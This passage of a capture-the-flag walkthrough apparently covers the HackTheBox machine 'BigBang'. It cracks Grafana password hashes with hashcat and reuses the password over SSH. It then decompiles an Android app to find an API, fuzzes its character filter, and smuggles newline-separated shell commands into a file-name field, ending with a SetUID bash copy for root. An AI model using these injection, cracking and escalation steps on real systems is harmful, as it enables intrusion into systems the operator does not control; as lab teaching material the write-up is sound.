to pass passwords via the command line for CTF blog posts because it makes it very clear what I’m doing. Never enter real credentials into the command line like this.
There are many tables:
oxdf@hacky$ sqlite3 grafana.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
alert library_element_connection
alert_configuration login_attempt
alert_configuration_history migration_log
alert_image ngalert_configuration
alert_instance org
alert_notification org_user
alert_notification_state permission
alert_rule playlist
alert_rule_tag playlist_item
alert_rule_version plugin_setting
annotation preferences
annotation_tag provenance_type
anon_device query_history
api_key query_history_star
builtin_role quota
cache_data role
cloud_migration secrets
cloud_migration_run seed_assignment
correlation server_lock
dashboard session
dashboard_acl short_url
dashboard_provisioning signing_key
dashboard_public sso_setting
dashboard_snapshot star
dashboard_tag tag
dashboard_version team
data_keys team_member
data_source team_role
entity_event temp_user
file test_data
file_meta user
folder user_auth
kv_store user_auth_token
library_element user_role
The user
table seem most interesting:
sqlite> .headers on
sqlite> select * from user;
id|version|login|email|name|password|salt|rands|company|org_id|is_admin|email_verified|theme|created|updated|help_flags1|last_seen_at|is_disabled|is_service_account|uid
1|0|admin|admin@localhost||441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf|CgJll8Bmss||1|1|0||2024-06-05 16:14:51|2024-06-05 16:16:02|0|2024-06-05 16:16:02|0|0|
2|0|developer|ghubble@bigbang.htb|George Hubble|7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv|0Whk1JNfa3||1|0|0||2024-06-05 16:17:32|2025-01-20 16:27:39|0|2025-01-20 16:27:19|0|0|ednvnl5nqhse8d
developer is a user!
Crack Hash
There’s no hashcat format that matches what’s in the Grafana DB. This repo has a script to generate hashcat
hashes from the hash and salt from the DB. I’ll make a file with the hash and salt:
oxdf@hacky$ cat grafana_hashsalt
441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34,CFn7zMsQpf
7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960,4umebBJucv
This script will generate hashes:
oxdf@hacky$ python /opt/grafana2hashcat/grafana2hashcat.py grafana_hashsalt -o grafanahashes
[+] Grafana2Hashcat
[+] Reading Grafana hashes from: grafana_hashsalt
[+] Done! Read 2 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[+] Writing output to 'grafanahashes' file.
[+] Now, you can run Hashcat with the following command, for example:
hashcat -m 10900 hashcat_hashes.txt --wordlist wordlist.txt
oxdf@hacky$ cat grafanahashes
sha256:10000:Q0ZuN3pNc1FwZg==:RBpxW9eI6SgXC+eVSxfLGd6DWi3t/ezoxlMnyx2bpr1H1w7bdCGwXZcGumFHy3GXOjQ=
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=
Now hashcat
can break them:
$ hashcat grafanahashes_hashcat rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
...[snip]...
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=:bigbang
...[snip]...
developers password in Grafana is bigbang.
su / SSH
The Grafana password is reused on the system:
shawking@bigbang:/opt/data$ su - developer
Password:
developer@bigbang:~$
It works for SSH as well:
oxdf@hacky$ sshpass -p 'bigbang' ssh developer@bigbang.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)
...[snip]...
developer@bigbang:~$
Disclaimer - I like to use sshpass
to pass passwords via the command line for CTF blog posts because it makes it very clear what I’m doing. Never enter real credentials into the command line like this.
Shell as root
Enumeration
In developer’s home directory, there’s an android
application:
developer@bigbang:~/android$ ls
satellite-app.apk
I’ll exfil a copy of it to my host with scp
:
oxdf@hacky$ sshpass -p bigbang scp developer@bigbang.htb:~/android/*.apk .
Disclaimer - I like to use sshpass
to pass passwords via the command line for CTF blog posts because it makes it very clear what I’m doing. Never enter real credentials into the command line like this.
APK Analysis
Run It
appetize.io is a nice site with a free account to upload and run Android applications. I’ll give it this app, and there’s a login page:

If I give it creds and click “Log In”, it replies:

This is almost certainly because it’s trying to contact BigBang, and has no route to it from Appetize on the internet. If I want to do further dynamic analysis, I’ll need to install an emulator (like Genymotion).
Overview
Before emulating it locally, I’ll load the APK into jadx-gui. It opens and in the sidebar:

There’s a ton of folders under “Source code”:

Clearly the file is obfuscated and broken up in to a ton of different things.
http Activity
I’ll use the Navigation –> Text search window to look for the string “http”:
From just this, it’s clear that it connects to app.bigbang.htb:9090
, and there are at least two endpoints, /login
and /command
.
It also looks like there’s a token sent as an Authorization
header with the Bearer
keyword.
Login
A lot of the activity in the strings search above takes place in u.AsyncTaskC0228f
. The a
function does a switch on an input to either send a POST request to /login
or /command
. The block for /login
looks like:
The body of the HTTP request seems to be passed in as a string. I’ll go to the top of the class and right click on the class name and select “Find Usage”:

The result shows two interesting uses in e.ViewOnClickListenerC0096b
:

Jumping to the first one, it is creating a JSON string with “username” and “password” and sending it to the function above:
Test Login
I’ll reconnect the SSH session as developer with -L 9090:localhost:9090
so that localhost on my machine tunnels to localhost on BigBang. I’ll add app.bigbang.htb
to my /etc/hosts
file:
127.0.0.1 app.bigbang.htb
Now I’ll try /login
with curl
:
oxdf@hacky$ curl app.bigbang.htb:9090/login -d '{"username": "0xdf", "password": "0xdf"}' -H "Content-Type: application/json"
{"error":"Bad username or password"}
I’ll see if developer has an account with the same password:
oxdf@hacky$ curl app.bigbang.htb:9090/login -d '{"username": "developer", "password": "bigbang"}' -H "Content-Type: application/json"
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODM2NDYxMCwianRpIjoiZmI3NTgxMWMtYTIxNS00Mjc4LWE4MmYtZGRjOWU3ZmNjYTdlIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODM2NDYxMCwiY3NyZiI6ImQ5NTJiNzhiLTYzZmQtNDMxYS1hMGVhLTZkMjEzZGZkZDE1MiIsImV4cCI6MTczODM2ODIxMH0.LJmoRJRmD7FLUNRYg6j-YpCeURvwgYTxCW3Xr_ynwXE"}
That’s an access token! I’ll get a token to save in a variable for readability:
oxdf@hacky$ token=$(curl localhost:9090/login -d '{"username": "developer", "password": "bigbang"}' -H "Host: app.bigbang.htb" -H "Content-Type: application/json" -s | jq .access_token -r)
Move Command
Just below in the same ViewOnClickListenerC0096b
file, there’s a block for the MoveCommandActivity
:

It seems to required a token, and a command of “move”, as well as “x”, “y”, and “z” values.
This is enough to play with as well. The command endpoint does require auth:
oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"test": "1"}' -H "Content-Type: application/json" -s
{"msg":"Missing Authorization Header"}
With a token, it must have the command
parameter:
oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"test": "1"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"error":"Invalid command"}
I’ll give it “move”, as that’s in the code:
oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"command": "move"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"error":"Invalid coordinates. Please provide numeric values for x, y, and z."}
It wants the coordinates. That works:
oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"command": "move", "x": 1, "y": 2, "z": 3}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"status":"developer is moving to coordinates (1.0, 2.0, 3.0)"
I’ll try some command injection here, but nothing comes of it.
TakePictureActivity
Just after the MoveCommandActivity
block, there’s one referencing TakePictureActivity
:
This one doesn’t set up JSON to call the same HTTP generating code. Searching for “TakePictureActivity” shows where this class is used:
It’s actually the q0.b
class from above. Going to the onPostExecute
function, there is the code above it for the POST request:
It takes a command of “send_image” and an “output_file”. I’ll try that and it errors out:
oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"command": "send_image", "output_file": "test.png"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"error":"Error generating image: "}
This app is supposed to be telling the satellite to take an image and then saving it. This error might come from the satellite.
Command Injection
Bad Characters
If I try to include a command injection in the output_file
, it complains of bad characters:
oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"command": "send_image", "output_file": "test.png; id"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"error":"Output file path contains dangerous characters"}
I can fuzz with ffuf
to look for a list of blocked characters, using -mr dangerous
to show only responses with the blocked message:
oxdf@hacky$ ffuf -u http://app.bigbang.htb:9090/command -d '{"command": "send_image", "output_file": "test.pngFUZZ"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token" -w /opt/SecLists/Fuzzing/alphanum-case-extra.txt -mr dangerous
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://app.bigbang.htb:9090/command
:: Wordlist : FUZZ: /opt/SecLists/Fuzzing/alphanum-case-extra.txt
:: Header : Content-Type: application/json
:: Header : Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODM3MTc1NCwianRpIjoiMzYyZjQ2NzAtODhhNS00NWQyLTlhNjEtZTJhNjAxZDY1NDViIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODM3MTc1NCwiY3NyZiI6ImQ2MjZmYWM2LTI0Y2EtNDk3NC04MDZkLWVhMmU1OTI5MTg2ZSIsImV4cCI6MTczODM3NTM1NH0.Z2_3JuJWlW8ZuxDKMVn4opXMPWYQQFbPxYwrR3lSXLo
:: Data : {"command": "send_image", "output_file": "test.pngFUZZ"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: dangerous
________________________________________________
* [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 191ms]
+ [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 191ms]
' [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 220ms]
! [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 225ms]
% [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 226ms]
$ [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 226ms]
) [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 220ms]
( [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 213ms]
> [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 260ms]
# [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 257ms]
& [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 295ms]
? [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 302ms]
; [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 310ms]
< [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 340ms]
[ [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 234ms]
] [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 239ms]
^ [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 242ms]
` [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 252ms]
{ [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 180ms]
} [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 178ms]
| [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 186ms]
:: Progress: [95/95] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
Newline Injection
In Python, with the subprocess.run
command, if shell=True
is set, then a newline will work to start a new command. For example:
oxdf@hacky$ python
Python 3.12.3 (main, Jan 17 2025, 18:03:48) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import subprocess
>>> subprocess.run("echo 'legit command'\nid", shell=True)
legit command
uid=1000(oxdf) gid=1000(oxdf) groups=1000(oxdf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),117(lpadmin),984(docker),987(vboxsf)
CompletedProcess(args="echo 'legit command'\nid", returncode=0)
Both the echo
and id
were run there. I can try that here. As I don’t seem to be getting any output, I’ll try with a ping
:
oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"command": "send_image", "output_file": "test.png\nping -c 1 10.10.14.6"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"error":"Error reading image file: [Errno 2] No such file or directory: 'test.png\\nping -c 1 10.10.14.6'"}
On running, there’s ICMP at tcpdump
:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
20:49:41.327708 IP 10.10.11.52 > 10.10.14.6: ICMP echo request, id 3, seq 1, length 64
20:49:41.327728 IP 10.10.14.6 > 10.10.11.52: ICMP echo reply, id 3, seq 1, length 64
That’s command injection.
Shell
I’ll inject again, this time to create a SetUID copy of bash
:
oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"command": "send_image", "output_file": "test.png\ncp /bin/bash /tmp/0xdf\nchmod 6777 /tmp/0xdf"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"error":"Error reading image file: [Errno 2] No such file or directory: 'test.png\\ncp /bin/bash /tmp/0xdf\\nchmod 6777 /tmp/0xdf'"}
It works to get a root shell:
developer@bigbang:~$ /tmp/0xdf -p
0xdf-5.1#
And the flag:
0xdf-5.1# cat root.txt
c3065984************************